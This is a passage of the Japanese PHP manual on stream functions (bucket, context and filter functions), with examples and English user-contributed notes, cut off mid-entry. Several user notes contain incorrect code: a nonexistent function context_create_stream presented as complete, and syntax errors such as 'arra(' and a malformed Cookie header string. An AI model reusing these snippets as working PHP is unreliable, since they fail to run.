  • ストリーム 関数
  • 操作する brigade から bucket オブジェクトを返す

stream_bucket_make_writeable

(PHP 5, PHP 7, PHP 8)

stream_bucket_make_writeable — 操作する brigade から bucket オブジェクトを返す

説明

stream_bucket_make_writeable ( resource $brigade ) : object
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

There are no user contributed notes for this page.


現在のストリームで使用する新しい bucket を作成する

  • ≪ stream_bucket_make_writeable
  • stream_bucket_prepend ≫
  • PHP Manual
  • ストリーム 関数
  • 現在のストリームで使用する新しい bucket を作成する

stream_bucket_new

(PHP 5, PHP 7, PHP 8)

stream_bucket_new — 現在のストリームで使用する新しい bucket を作成する

説明

stream_bucket_new ( resource $stream , string $buffer ) : object
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

carlosv775 at gmail dot com 06-Jul-2019 07:50
This function returns FALSE if something wrong happens. If the stream is not available for instance.


bucket を brigade の先頭に追加する

  • ≪ stream_bucket_new
  • stream_context_create ≫
  • PHP Manual
  • ストリーム 関数
  • bucket を brigade の先頭に追加する

stream_bucket_prepend

(PHP 5, PHP 7, PHP 8)

stream_bucket_prepend — bucket を brigade の先頭に追加する

説明

stream_bucket_prepend ( resource $brigade , object $bucket ) : void

この関数を呼ぶと、bucket brigade の先頭に bucket を追加できます。一般に、 php_user_filter::filter() から呼ばれます。

パラメータ

brigade

brigade は bucket brigade を指すリソースで、ここにはひとつあるいは複数の bucket オブジェクトが含まれます。

bucket

bucket オブジェクト。

返り値

値を返しません。

例

例1 stream_bucket_prepend() の例

<?php

class foo extends php_user_filter {
  protected $calls = 0;
  public function filter($in, $out, &$consumed, $closing) {
    while ($bucket = stream_bucket_make_writeable($in)) {
      $consumed += $bucket->datalen;
      if ($this->calls++ == 2) {
        // This bucket will appear again before any other bucket.
        stream_bucket_prepend($in, $bucket);
      }
    }
    return PSFS_FEED_ME;
  }
}
stream_filter_register('test', 'foo');
print  file_get_contents('php://filter/read=test/resource=foo');
?>

User Contributed Notes

There are no user contributed notes for this page.


ストリームコンテキストを作成する

  • ≪ stream_bucket_prepend
  • stream_context_get_default ≫
  • PHP Manual
  • ストリーム 関数
  • ストリームコンテキストを作成する

stream_context_create

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_context_create — ストリームコンテキストを作成する

説明

stream_context_create ( array $options = ? , array $params = ? ) : resource

options に、 指定されたオプションが予め設定されたストリームコンテキストを作成し、 それを返します。

パラメータ

options

次のような形式の連想配列からなる連想配列でなくてはなりません。 $arr['wrapper']['option'] = $value 使用可能はラッパーやオプションの一覧は コンテキストオプション を参照ください。

デフォルトは空の配列です。

params

$arr['parameter'] = $value 形式の連想配列でなくてはなりません。 標準のストリームパラメータについては コンテキストパラメータ を参照ください。

返り値

ストリームコンテキストリソースを返します。

例

例1 stream_context_create() の使用

<?php
$opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>"Accept-language: en\r\n" .
              "Cookie: foo=bar\r\n"
  )
);

$context = stream_context_create($opts);

/* 上のヘッダと共に http リクエストを www.example.com に対して
   送出します */
$fp = fopen('http://www.example.com', 'r', false, $context);
fpassthru($fp);
fclose($fp);
?>

参考

  • stream_context_set_option() - ストリーム / ラッパー / コンテキストのオプションを設定する
  • サポートするラッパーのリスト (サポートするプロトコル/ラッパー)
  • コンテキストオプション (コンテキストオプションとパラメータ)

User Contributed Notes

Andi 27-May-2015 01:41
Don't try to re-use the ressource returned by stream_context_create. It seems not to work when connecting to different domains using https.
Ben J 08-Jan-2013 03:28
I spent a good five hours trying to figure this out, so hopefully it will save someone else some time.

When you are trying to download a file via ftp through an HTTP proxy note that the following will not be enough:
<?php
$opts = array('ftp' => array(
    'proxy' => 'tcp://vbinprst10:8080',
    'request_fulluri'=>true,
    'header' => array(
        "Proxy-Authorization: Basic $auth"
        )
    )
);
$context = stream_context_create($opts);
$s = file_get_contents("ftp://anonymous:anonymous@ftp.example.org",false,$context);
?>

Your proxy will respond that authentication is required. You may scratch your head and think "but I'm providing authentication!"

The issue is that the 'header' value is only applicable to http connections. So to authenticate on a proxy, you first have to pull a file from HTTP, before the context is valid for using on FTP.
<?php
$opts = array('ftp' => array(
    'proxy' => 'tcp://vbinprst10:8080',
    'request_fulluri'=>true,
    'header' => array(
        "Proxy-Authorization: Basic $auth"
        )
    ),
    'http' => array(
    'proxy' => 'tcp://vbinprst10:8080',
    'request_fulluri'=>true,
    'header' => array(
        "Proxy-Authorization: Basic $auth"
        )
    )
);
$context = stream_context_create($opts);
$s = file_get_contents("http://www.example.com",false,$context);
$s = file_get_contents("ftp://anonymous:anonymous@ftp.example.org",false,$context);
?>

It's a bit roundabout, but it works. Note that the 'header' val in the ftp array is redundant, but I kept it in anyway.
louis dot huppenbauer at gmail dot com 25-Sep-2012 06:04
When using the https protocol you'll have to make sure to set the right context options to use the full "power" of the ssl/tls encryption.

<?php
$url = 'https://secure.example.com/test/1';
$contextOptions = array(
    'ssl' => array(
        'verify_peer'   => true,
        'cafile'        => __DIR__ . '/cacert.pem',
        'verify_depth'  => 5,
        'CN_match'      => 'secure.example.com'
    )
);
$sslContext = stream_context_create($contextOptions);
$result = file_get_contents($url, NULL, $sslContext);
?>

More information about those context options can be found at http://php.net/manual/en/context.ssl.php
Anonymous 22-Oct-2010 10:45
If you are trying to set a custom http header on php 5.2.x, try this:

<?php
// build header and set it the usual way
$authenticationHeader = $headername . ': ' . $headervalue;
$opts = array(
    'http' => array(
        'header'  => $authenticationHeader
    )
);
// workaround for php bug where http headers don't get sent in php 5.2
if(version_compare(PHP_VERSION, '5.3.0') == -1){
    ini_set('user_agent', 'PHP-SOAP/' . PHP_VERSION . "\r\n" . $authenticationHeader);
}

$context  = stream_context_create($opts);

// now use context for soap call or whatever...
?>

this is the only option that worked for me.
contact (at) thepointsolution.com 12-Aug-2010 05:29
I big NOTE that i hope will help some one. Something that is not mentioned in the documentation, is that when php is compiled --with-curlwrappers,

So, instead of:

<?php
$opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>"Accept-language: en\r\n" .
              "Cookie: foo=bar\r\n"
  )
);

$context = stream_context_create($opts);
?>

You would setup the header this way:

<?php
$opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>array("Accept-language: en",
                           "Cookie: foo=bar",
                           "Custom-Header: value")
  )
);

$context = stream_context_create($opts);
?>

This will work.
mathieu dot laurent at gmail dot com 30-Jul-2009 06:15
Connection via Proxy

<?php

$opts = array('http' => array('proxy' => 'tcp://127.0.0.1:8080', 'request_fulluri' => true));
$context = stream_context_create($opts);

$data = file_get_contents('http://www.php.net', false, $context);

echo $data;

?>
Brian Gottier 16-May-2009 12:13
In some cases, set a header option as an array, and not a string, depending on server configuration.

<?php
$opts = array(
  'http'=> array(
    'method'=>   "GET",
    'header'=>    array( "Cookie: foo="bar"l ),
    'user_agent'=>    $_SERVER['HTTP_USER_AGENT']
  )
);
?>
rlintern at gmail dot com 20-Feb-2009 09:56
I found the following code worked for me for POSTing some binary data to a remote server. I am putting it here since I could not find a quick solution to this by 'googling' or looking through this documentation.

Disclaimer:  I have no idea if this a 'good' solution, since I'm new to PHP, but it may just suit your needs as it did mine.  I am assuming bad things will happen with very large files since the entire file is read into $fileContents.

I am using PHP 5.2.8.

   $fileHandle = fopen("someImage.jpg", "rb");
   $fileContents = stream_get_contents($fileHandle);
   fclose($fileHandle);

   $params = array(
      'http' => array
      (
          'method' => 'POST',
          'header'=>"Content-Type: multipart/form-data\r\n",
          'content' => $fileContents
      )
   );
   $url = "http://somesite.somecompany.com?someParam=someValue";
   $ctx = stream_context_create($params);
   $fp = fopen($url, 'rb', false, $ctx);

   $response = stream_get_contents($fp);
davep at atomicdroplet dot com 17-May-2007 04:02
In addition to the context options mentioned above (appendix N), lower down context options for sockets can be found in appendix P - http://www.php.net/manual/en/transports.php
jrubenstein at gmail dot com 27-Apr-2007 09:36
Something to keep in mind when creating SSL streams (using https://):

<?php
$context = context_create_stream($context_options)
$fp = fopen('https://url', 'r', false, $context);
?>

One would think - the proper way to create a stream options array, would be as follows:

<?php
$context_options = array (
        'https' => array (
            'method' => 'POST',
            'header'=> "Content-type: application/x-www-form-urlencoded\r\n"
                . "Content-Length: " . strlen($data) . "\r\n",
            'content' => $data
            )
        );
?>

THAT IS THE WRONG WAY!!!
Take notice to the 3rd line: 'https' => array (

The CORRECT way, is as follows:

<?php
$context_options = array (
        'http' => array (
            'method' => 'POST',
            'header'=> "Content-type: application/x-www-form-urlencoded\r\n"
                . "Content-Length: " . strlen($data) . "\r\n",
            'content' => $data
            )
        );
?>

Notice, the NEW 3rd line: 'http' => array (

Now - keep this in mind - I spent several hours trying to trouble shoot my issue, when I finally stumbled upon this non-documented issue.

The complete code to post to a secure page is as follows:

<?php
$data = array ('foo' => 'bar', 'bar' => 'baz');
$data = http_build_query($data);

$context_options = array (
        'http' => array (
            'method' => 'POST',
            'header'=> "Content-type: application/x-www-form-urlencoded\r\n"
                . "Content-Length: " . strlen($data) . "\r\n",
            'content' => $data
            )
        );

$context = context_create_stream($context_options)
$fp = fopen('https://url', 'r', false, $context);
?>
chris dot vigelius at gmx dot net 11-Apr-2007 05:34
It seems that the authorization example given below by"php at charlesconsulting dot com" does NOT work with PHP 5.2.1, since the 'header' option will be simply ignored if it is not an array (but a string).

The following works:
$url = 'http://protectedstuff.com';
$auth = base64_encode('user:password');
$header = array("Authorization: Basic $auth");
$opts = array( 'http' => array ('method'=>'GET',
                                           'header'=>$header));
$ctx = stream_context_create($opts);
file_get_contents($url,false,$ctx);

See also http://bugs.php.net/bug.php?id=41051
php at charlesconsulting dot com 13-Jan-2007 07:14
Here's an example of retrieving a page which requests a username and password using the basic authorization scheme.  This calls the w3.org web page validator for a password protected page.
//$fileurl contains page to validate
$validateurl="http://validator.w3.org/check?uri=$fileurl";

$cred = sprintf('Authorization: Basic %s',
    base64_encode('username:password') );
$opts = array(
    'http'=>array(
    'method'=>'GET',
    'header'=>$cred)
);
$ctx = stream_context_create($opts);

$validate=file_get_contents($validateurl,false,$ctx);
sp0n9e at gmail dot com 28-Dec-2006 10:18
Here's a very simple way to do posts easily without need of cURL or writing an http request by hand using the tcp:// wrapper.  I like using contexts just because of their ubiquity and the lack of an optional library such as cURL (though one of the more popular libraries).

<?php

$options = array(
  'http'=>array(
    'method'=>"POST",
    'header'=>
      "Accept-language: en\r\n".
      "Content-type: application/x-www-form-urlencoded\r\n",
    'content'=>http_build_query(array('foo'=>'bar'))
));

$context = stream_context_create($options);

fopen('http://www.example.com/',false,$context);

?>
net_navard at yahoo dot com 09-Dec-2005 10:38
Hi,you can create an array of parameters(what it's called a stream context),which can be transmitted each time you read or write a stream through a socket.In the below example:

$opts =array('http'=>arra('method'=>"GET",
'header'=>"Accept-language:en\r\n"."Cookie: foo=bar\r\n");

What you're actually doing is create a set of parameters(the protocol to be used,the request method,additional http headers and a cookie) which will be used each time you open a socket connection to request www.example.com.This saves a lot of time if you want to use these parameters (called a stream context) whenever you include them when making a request to www.example.com,instead of having to specify them over and over again.
Using the previous example,say you want to create a stream context,which sends a "Content-Type" http header and utilize it when making a request to www.example.com.Take a look:

$opts = array('http'=>array('method'=>"GET",
'header'=>"Content-Type: text/xml; CHARSET=shift-jis");

$context = stream_context_create($opts);
$fp = fopen('http://www.example.com','r',false,$context);
fpassthru($fp);
fclose($fp);

Now,when you make a request to www.example.com,the above http header will be included within the socket and transmitted to the server.Best of luck for you friends,Hossein


デフォルトのストリームコンテキストを取得する

  • ≪ stream_context_create
  • stream_context_get_options ≫
  • PHP Manual
  • ストリーム 関数
  • デフォルトのストリームコンテキストを取得する

stream_context_get_default

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

stream_context_get_default — デフォルトのストリームコンテキストを取得する

説明

stream_context_get_default ( array $options = ? ) : resource

（fopen()、file_get_contents() のような） ファイル操作関数がコンテキストパラメータなしでコールされた場合に使用される デフォルトのストリームコンテキストを返します。デフォルトコンテキストに 関するオプションは、stream_context_create() と同じ 構文で任意に指定することが可能です。

パラメータ

options
options は、 $arr['wrapper']['option'] = $value のような形式の、連想配列の連想配列である必要があります。

注意:

PHP 5.3.0 以降では、stream_context_set_default() 関数でデフォルトのコンテキストを設定することが可能です。

返り値

ストリームコンテキストリソースを返します。

例

例1 stream_context_get_default() の使用

<?php
$default_opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>"Accept-language: en\r\n" .
              "Cookie: foo=bar",
    'proxy'=>"tcp://10.54.1.39:8000"
  )
);

$alternate_opts = array(
  'http'=>array(
    'method'=>"POST",
    'header'=>"Content-type: application/x-www-form-urlencoded\r\n" .
              "Content-length: " . strlen("baz=bomb"),
    'content'=>"baz=bomb"
  )
);

$default = stream_context_get_default($default_opts);
$alternate = stream_context_create($alternate_opts);

/* www.example.com に対する通常の GET リクエストを、プロキシサーバー 10.54.1.39
 * に対して送信します。コンテキストオプション $default_opts を使用します。
 */
readfile('http://www.example.com');

/* POST リクエストを、直接 www.example.com に送信します。
 * コンテキストオプション $alternate_opts を使用します。
 */
readfile('http://www.example.com', false, $alternate);

?>

参考

  • stream_context_create() - ストリームコンテキストを作成する
  • サポートするラッパーとコンテキストオプションの一覧 (サポートするプロトコル/ラッパー).

User Contributed Notes

RQuadling at GMail dot com 02-Jan-2007 01:02
If you are using stream_context_get_default() and are still finding that some functions do not work, make sure that they are not based upon the libxml functions (DOM, SimpleXML and XSLT). These require their own context.

You can easily set them using the following code ...

<?php
// Define the default, system-wide context.
$r_default_context = stream_context_get_default
    (
    array
        (
        'http' => array
            ( // All HTTP requests are passed through the local NTLM proxy server on port 8080.
            'proxy' => 'tcp://127.0.0.1:8080',
            'request_fulluri' => True,
            ),
        )
    );

// Though we said system wide, some extensions need a little coaxing.
libxml_set_streams_context($r_default_context);
?>


ストリーム / ラッパー / コンテキストに設定されているオプションを取得する

  • ≪ stream_context_get_default
  • stream_context_get_params ≫
  • PHP Manual
  • ストリーム 関数
  • ストリーム / ラッパー / コンテキストに設定されているオプションを取得する

stream_context_get_options

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_context_get_options — ストリーム / ラッパー / コンテキストに設定されているオプションを取得する

説明

stream_context_get_options ( resource $stream_or_context ) : array

指定されたストリームまたはコンテキストに設定されたオプションを配列として返します。

パラメータ

stream_or_context

オプションを取得したいストリームあるいはコンテキスト。

返り値

オプションを連想配列で返します。

例

例1 stream_context_get_options() の例

<?php
$params = array("method" => "POST");

stream_context_set_default(array("http" => $params));

var_dump(stream_context_get_options(stream_context_get_default()));

?>

上の例の出力は、 たとえば以下のようになります。

array(1) {
  ["http"]=>
  array(1) {
    ["method"]=>
    string(4) "POST"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


コンテキストのパラメータを取得する

  • ≪ stream_context_get_options
  • stream_context_set_default ≫
  • PHP Manual
  • ストリーム 関数
  • コンテキストのパラメータを取得する

stream_context_get_params

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

stream_context_get_params — コンテキストのパラメータを取得する

説明

stream_context_get_params ( resource $stream_or_context ) : array

パラメータおよびオプションの情報を、ストリームあるいはコンテキストから取得します。

パラメータ

stream_or_context

ストリームリソースあるいは コンテキストリソース。

返り値

すべてのコンテキストオプションおよびパラメータを含む連想配列を返します。

例

例1 stream_context_get_params() の例

基本的な使用例です。

<?php
$ctx = stream_context_create();
$params = array("notification" => "stream_notification_callback");
stream_context_set_params($ctx, $params);

var_dump(stream_context_get_params($ctx));
?>

上の例の出力は、 たとえば以下のようになります。

array(2) {
  ["notification"]=>
  string(28) "stream_notification_callback"
  ["options"]=>
  array(0) {
  }
}

参考

  • stream_context_set_option() - ストリーム / ラッパー / コンテキストのオプションを設定する
  • stream_context_set_params() - ストリーム / ラッパー / コンテキストのパラメータを設定する

User Contributed Notes

m dot staas at goowy dot com 30-Nov-2015 01:35
Note that if the resource parameter is invalid the function will return a boolean with value false.

The code:
$r = null
$cert = stream_context_get_params($r);
var_dump($cert);

will return:
bool(false)


デフォルトのストリームコンテキストを設定する

  • ≪ stream_context_get_params
  • stream_context_set_option ≫
  • PHP Manual
  • ストリーム 関数
  • デフォルトのストリームコンテキストを設定する

stream_context_set_default

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

stream_context_set_default — デフォルトのストリームコンテキストを設定する

説明

stream_context_set_default ( array $options ) : resource

(fopen()、file_get_contents() のような) ファイル操作関数がコンテキストパラメータなしでコールされた場合に使用される デフォルトのストリームコンテキストを設定します。 stream_context_create() と同じ構文が使用できます。

パラメータ

options

デフォルトコンテキストに設定するオプション。

注意:

options は、 $arr['wrapper']['option'] = $value のような形式の、連想配列の連想配列である必要があります。

返り値

デフォルトのストリームコンテキストを返します。

例

例1 stream_context_set_default() の例

<?php
$default_opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>"Accept-language: en\r\n" .
              "Cookie: foo=bar",
    'proxy'=>"tcp://10.54.1.39:8000"
  )
);

$default = stream_context_set_default($default_opts);

/* www.example.com に対する通常の GET リクエストを、プロキシサーバー 10.54.1.39
 * に対して送信します。コンテキストオプション $default_opts を使用します。
 */
readfile('http://www.example.com');
?>

参考

  • stream_context_create() - ストリームコンテキストを作成する
  • stream_context_get_default() - デフォルトのストリームコンテキストを取得する
  • サポートするラッパーとコンテキストオプションの一覧 (サポートするプロトコル/ラッパー).

User Contributed Notes

There are no user contributed notes for this page.


ストリーム / ラッパー / コンテキストのオプションを設定する

  • ≪ stream_context_set_default
  • stream_context_set_params ≫
  • PHP Manual
  • ストリーム 関数
  • ストリーム / ラッパー / コンテキストのオプションを設定する

stream_context_set_option

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_context_set_option — ストリーム / ラッパー / コンテキストのオプションを設定する

説明

stream_context_set_option ( resource $stream_or_context , string $wrapper , string $option , mixed $value ) : bool
stream_context_set_option ( resource $stream_or_context , array $options ) : bool

指定されたストリームまたはコンテキストのオプションを設定します。 value の内容が wrapper に対する option として設定されます。

パラメータ

stream_or_context

オプションを適用したいストリームあるいはコンテキストリソース。

options

stream_or_context に設定するオプション。

注意:

options は、 $arr['wrapper']['option'] = $value のような形式の、連想配列の連想配列である必要があります。

ストリームオプションの一覧は コンテキストオプションおよびパラメータを参照ください。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


ストリーム / ラッパー / コンテキストのパラメータを設定する

  • ≪ stream_context_set_option
  • stream_copy_to_stream ≫
  • PHP Manual
  • ストリーム 関数
  • ストリーム / ラッパー / コンテキストのパラメータを設定する

stream_context_set_params

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_context_set_params — ストリーム / ラッパー / コンテキストのパラメータを設定する

説明

stream_context_set_params ( resource $context , array $params ) : bool

指定したコンテキストのパラメータを設定します。

パラメータ

context

パラメータを適用したいストリームあるいはコンテキスト。

params

設定するパラメータ。

注意:

params は、次のような形式の連想配列でなくてはなりません: $params['paramname'] = "paramvalue";

サポートするパラメータ

パラメータ | 目的
notification | ストリームから何らかの通知があった時に呼ばれる、ユーザー定義のコールバック関数を指定します。 http:// および ftp:// ストリームラッパーでのみサポートされます。
options | コンテキストオプションおよびパラメータ へのオプションの配列を指定します。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • stream_notification_callback() - notification コンテキストパラメータ用のコールバック関数

User Contributed Notes

There are no user contributed notes for this page.


データをあるストリームから別のストリームにコピーする

  • ≪ stream_context_set_params
  • stream_filter_append ≫
  • PHP Manual
  • ストリーム 関数
  • データをあるストリームから別のストリームにコピーする

stream_copy_to_stream

(PHP 5, PHP 7, PHP 8)

stream_copy_to_stream — データをあるストリームから別のストリームにコピーする

説明

stream_copy_to_stream ( resource $source , resource $dest , int $maxlength = -1 , int $offset = 0 ) : int|false

現在の位置（あるいはもし指定されていれば offset の位置）から最大 maxlength バイトのデータを source から dest にコピーします。もし maxlength が指定されていない 場合は、source にある残りすべてのデータが コピーされます。

パラメータ

source

コピー元のストリーム。

dest

コピー先のストリーム。

maxlength

コピーする最大バイト数。

offset

コピーを開始する位置。

返り値

コピーされたバイト数を返します。失敗した場合に false を返します。

例

例1 stream_copy_to_stream() の例

<?php
$src = fopen('http://www.example.com', 'r');
$dest1 = fopen('first1k.txt', 'w');
$dest2 = fopen('remainder.txt', 'w');

echo stream_copy_to_stream($src, $dest1, 1024) . " バイトが first1k.txt にコピーされました\n";
echo stream_copy_to_stream($src, $dest2) . " バイトが remainder.txt にコピーされました\n";

?>

参考

  • copy() - ファイルをコピーする

User Contributed Notes

divinity76 at gmail dot com 29-Nov-2018 10:54
note that this function does not actually use sendfile() on linux systems (at least not in PHP 7.2.12)
felix dot nensa at gmail dot com 26-May-2010 04:57
As stream_copy_to_stream() seems to be quite a memory hog (at least in PHP 5.1.6 64-bit) it may be way more efficient just to copy streams with this simple PHP alternative:

<?php

    function pipe_streams($in, $out)
    {
        $size = 0;
        while (!feof($in)) $size += fwrite($out,fread($in,8192));
        return $size;
    }

?>
none at noone dot com 15-Jun-2007 04:27
stream_copy_to_stream almost copies a stream...

$objInputStream = fopen("php://input", "rb");
$objTempStream = fopen("php://temp", "w+b");
stream_copy_to_stream($objInputStream, $objTempStream);

That code will copy a stream but it will also move the stream pointers to EOF.  This is fine if you plan on rewinding the temp stream but good luck rewinding the input stream.

rewind($objTempStream);
rewind($objInputStream);

So as you can see this is stream copy or stream move depending on what kind of stream you are working with, and because there are no peaking functions your effed if you need to read from an input stream in multiple classes that are unrelated.


ストリームにフィルタを付加する

  • ≪ stream_copy_to_stream
  • stream_filter_prepend ≫
  • PHP Manual
  • ストリーム 関数
  • ストリームにフィルタを付加する

stream_filter_append

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_filter_append — ストリームにフィルタを付加する

説明

stream_filter_append ( resource $stream , string $filtername , int $read_write = ? , mixed $params = ? ) : resource

filtername で指定されたフィルタを、 stream に付加されているフィルタのリストに加えます。

パラメータ

stream

対象となるストリーム。

filtername

フィルタ名。

read_write

デフォルトでは、 stream_filter_append() は ストリームが読み込み用に開かれている場合は (つまり、オープンモードが r あるいは + を伴う場合は)、 フィルタを リードフィルタチェイン に追加し、 ストリームが書き出し用に開かれている場合は(つまり、オープンモードが w か aか、あるいは+ を伴う場合は)、 ライトフィルターチェィンにも追加します。 STREAM_FILTER_READ・ STREAM_FILTER_WRITE・ STREAM_FILTER_ALL を read_writeパラメータに渡すことで、この挙動を変えることができます。

params

このフィルタは、指定された params と共に、 リストの末尾に追加され、ストリームに対する操作の中で最後に呼び出されます。 フィルタをリストの先頭に加えたいときは、stream_filter_prepend() を使ってください。

返り値

成功した場合にリソース、失敗した場合に false を返します。 このリソースは、stream_filter_remove() をコールする際にこのフィルタインスタンスを参照するために使用可能です。

false が返されるのは、stream がリソースではない場合や filtername が見つからない場合です。

例

例1 フィルタの適用される場所を制御する

<?php
/* ファイルを読み書き用に開く */
$fp = fopen('test.txt', 'w+');

/* ROT13 フィルタをライトフィルタチェインに付加する。
 * リードフィルタチェインには付加しない。*/
stream_filter_append($fp, "string.rot13", STREAM_FILTER_WRITE);

/* 単純な文字列をファイルに書き出す。
 * この文字列には、出口で ROT13 変換が適用される。
 */
fwrite($fp, "This is a test\n");

/* ファイルの最初に戻る */
rewind($fp);

/* 書き出した内容を読み戻す。
 * もし、フィルタがリードフィルタチェインにも
 * 付加されていれば、再び読み出し時に ROT13 が適用され、
 * テキストは元の状態に戻るはず。 */
fpassthru($fp);

fclose($fp);

/* 期待される出力
   ---------------

Guvf vf n grfg

 */
?>

注意

注意: カスタム(ユーザー)フィルタを使うには
カスタムフィルタを filtername に指定するためには、 まず stream_filter_register() 関数でそれを登録しておく 必要があります。

注意: ストリームデータは（ローカルおよびリモートの）リソースからチャンク単位で 読み込まれ、内部バッファに保持されます。新しいフィルタがストリームに 追加されると、内部バッファのデータがその時点でフィルタリングされます。 これは stream_filter_prepend() の挙動とは違います。

注意: フィルタが読み込み用および書き込み用に追加されると、フィルタのインスタンスが 2 つ作成されます。両方のフィルタリソースを取得するには、 STREAM_FILTER_READ と STREAM_FILTER_WRITE で stream_filter_append() を 2 回コールしなければなりません。

参考

  • stream_filter_register() - ユーザー定義のストリームフィルタを登録する
  • stream_filter_prepend() - フィルタをストリームに付加する
  • stream_get_filters() - 登録されているフィルタのリストを取得する

User Contributed Notes

Dan J 11-Jan-2016 07:23
Note that stream filters applied to STDOUT are not called when outputting via echo or print.

This is easily demonstrated with the standard ROT13 filter:
<?php
stream_filter_append( STDOUT, "string.rot13" );

print "Hello PHP\n";
// Prints "Hello PHP"

fprintf( STDOUT, "Hello PHP\n" );
// Prints "Uryyb CUC"
?>

If you want to filter STDOUT, you may have better luck with an output buffering callback added via ob_start:
http://php.net/manual/en/function.ob-start.php

At the time of this writing, there is an open PHP feature request to support echo and print for stream filters:
https://bugs.php.net/bug.php?id=30583
dlvoy 23-Jul-2008 12:20
While using compression filters on a large set of files during one script invocation i've got
        Fatal error: Allowed memory size of xxx bytes exhausted
even when my max memory limit settings was insane high (128MB)

Workaround is to remember to remove filter after work done with stream_filter_remove:

<?php
foreach($lot_of_files as $filename)
{
    $fp = fopen($filename, 'rb');
    $filter_params = array('level' => 2, 'window' => 15, $memory => 6);
    $s_filter = stream_filter_append($fp, 'zlib.deflate', STREAM_FILTER_READ, $filter_params);
    // here stream-operating code

    stream_filter_remove($s_filter);

    fclose($fp);
}
?>
net_navard at yahoo dot com 12-Dec-2005 10:47
Hello firends

The difference betweem adding a stream filter first or last in the filte list in only the order they will be applied to streams.

For example, if you're reading data from a file, and a given filter is placed in first place with stream_filter_prepend()the data will be processed by that filter first.

This example reads out file data and the filter is applied at the beginning of the reading operation:

<?php
/* Open a test file for reading */
$fp = fopen("test.txt", "r");
/* Apply the ROT13 filter to the
 * read filter chain, but not the
 * write filter chain */
stream_filter_prepend($fp, "string.rot13",
STREAM_FILTER_READ);
// read file data
$contents=fread($fp,1024);
// file data is first filtered and stored in $contents
echo $contents;
fclose($fp);
?>

On the other hand, if stream_filter_append() is used, then the filter will be applied at the end of the data operation. The thing about this is only the order filters are applied to streams. Back to the example, it's not the same thing removing new lines from file data and then counting the number of characters, than performing the inverse process. In this case, the order that filters are applied to stream is important.

This example writes a test string to a file. The filter is applied at the end of the writing operation:

<?php
/* Open a test file for writing */
$fp = fopen("test.txt", "w+");
/* Apply the ROT13 filter to the
 * write filter chain, but not the
 * read filter chain */
stream_filter_append($fp, "string.rot13",
STREAM_FILTER_WRITE);
/* Write a simple string to the file
 * it will be ROT13 transformed at the end of the
stream operation
 * way out */
fwrite($fp, "This is a test\n"); // string data is
first written, then ROT13 tranformed and lastly
written to file
/* Back up to the beginning of the file */
rewind($fp);
$contents=fread($fp,512);
fclose($fp);
echo $contents;
?>

In the first case, data is transformed at the end of the writing operation, while in the second one, data is first filtered and then stored in $contents.

                          With Regards
                              Hossein


フィルタをストリームに付加する

  • ≪ stream_filter_append
  • stream_filter_register ≫
  • PHP Manual
  • ストリーム 関数
  • フィルタをストリームに付加する

stream_filter_prepend

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_filter_prepend — フィルタをストリームに付加する

説明

stream_filter_prepend ( resource $stream , string $filtername , int $read_write = ? , mixed $params = ? ) : resource

filtername で指定されたフィルタを、 stream に付加されているフィルタのリストに加えます。

パラメータ

stream

対象となるストリーム。

filtername

フィルタ名。

read_write

デフォルトでは、 stream_filter_prepend() は ストリームが読み込み用に開かれている場合は (つまり、オープンモードが r あるいは + を伴う場合は)、 フィルタを リードフィルタチェイン に追加し、 ストリームが書き出し用に開かれている場合は(つまり、オープンモードが w か aか、あるいは+ を伴う場合は)、 ライトフィルターチェィンにも追加します。 STREAM_FILTER_READ・ STREAM_FILTER_WRITE・ STREAM_FILTER_ALL を read_writeパラメータに渡すことで、この挙動を変えることができます。 このパラメータを使った例については、 stream_filter_append() を参照ください。

params

このフィルタは、指定された params と共に、 リストの先頭に追加され、ストリームに対する操作の中で最初に呼び出されます。 フィルタをリストの末尾に加えたいときは、stream_filter_append() を使ってください。

返り値

成功した場合にリソース、失敗した場合に false を返します。 このリソースは、stream_filter_remove() をコールする際にこのフィルタインスタンスを参照するために使用可能です。

false が返されるのは、stream がリソースではない場合や filtername が見つからない場合です。

注意

注意: カスタム(ユーザー)フィルタを使うには
カスタムフィルタを filtername に指定するためには、 まず stream_filter_register() 関数でそれを登録しておく 必要があります。

注意: ストリームデータは（ローカルおよびリモートの）リソースからチャンク単位で 読み込まれ、内部バッファに保持されます。新しいフィルタがストリームに 追加されても、内部バッファにあるデータのうち既に他のフィルタの処理が 終わっているものは新しいフィルタでは処理されません。 これは stream_filter_apppend() の挙動とは違います。

注意: フィルタが読み込み用および書き込み用に追加されると、フィルタのインスタンスが 2 つ作成されます。両方のフィルタリソースを取得するには、 STREAM_FILTER_READ と STREAM_FILTER_WRITE で stream_filter_prepend() を 2 回コールしなければなりません。

参考

  • stream_filter_register() - ユーザー定義のストリームフィルタを登録する
  • stream_filter_append() - ストリームにフィルタを付加する

User Contributed Notes

There are no user contributed notes for this page.


ユーザー定義のストリームフィルタを登録する

  • ≪ stream_filter_prepend
  • stream_filter_remove ≫
  • PHP Manual
  • ストリーム 関数
  • ユーザー定義のストリームフィルタを登録する

stream_filter_register

(PHP 5, PHP 7, PHP 8)

stream_filter_register — ユーザー定義のストリームフィルタを登録する

説明

stream_filter_register ( string $filter_name , string $class ) : bool

stream_filter_register() は、fopen() や fread() などのファイルシステムの関数で利用可能な 登録されているどの種類のストリームとも一緒に使うことのできる カスタムフィルタを登録します。

パラメータ

filter_name

登録するフィルタ名。

class

